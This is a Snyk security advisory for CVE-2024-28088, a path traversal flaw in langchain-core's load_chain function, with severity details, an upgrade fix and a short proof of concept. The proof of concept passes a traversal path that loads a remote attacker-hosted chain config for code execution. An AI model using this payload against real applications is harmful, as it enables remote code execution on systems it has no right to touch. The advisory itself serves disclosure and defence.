Path Traversal Affecting langchain-core package, versions [,0.1.31)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (34th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Path Traversal vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-LANGCHAINCORE-6370598
  • published4 Mar 2024
  • disclosed4 Mar 2024
  • creditPinkDraconian

Introduced: 4 Mar 2024

CVE-2024-28088  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

Upgrade langchain-core to version 0.1.31 or higher.

Overview

langchain-core is a Building applications with LLMs through composability

Affected versions of this package are vulnerable to Path Traversal due to improper validation of user-supplied input in the load_chain call. An attacker can achieve remote code execution or disclose sensitive information by manipulating the path parameter to traverse directories and load configurations or execute code not intended by the application.

Notes:

  1. This is only exploitable if the attacker can control the final part of the path parameter.

  2. llm_bash_chain is an experimental feature.

PoC

from langchain_core.prompts import load_prompt
from langchain.chains import load_chain

malicious_path = 'lc@ANYTHING://chains/../../../../../../../../../PinkDraconian/PoC/main/poc_rce.json'
chain = load_chain(malicious_path)
print(chain.invoke("ANYTHING"))

CVSS Scores

version 3.1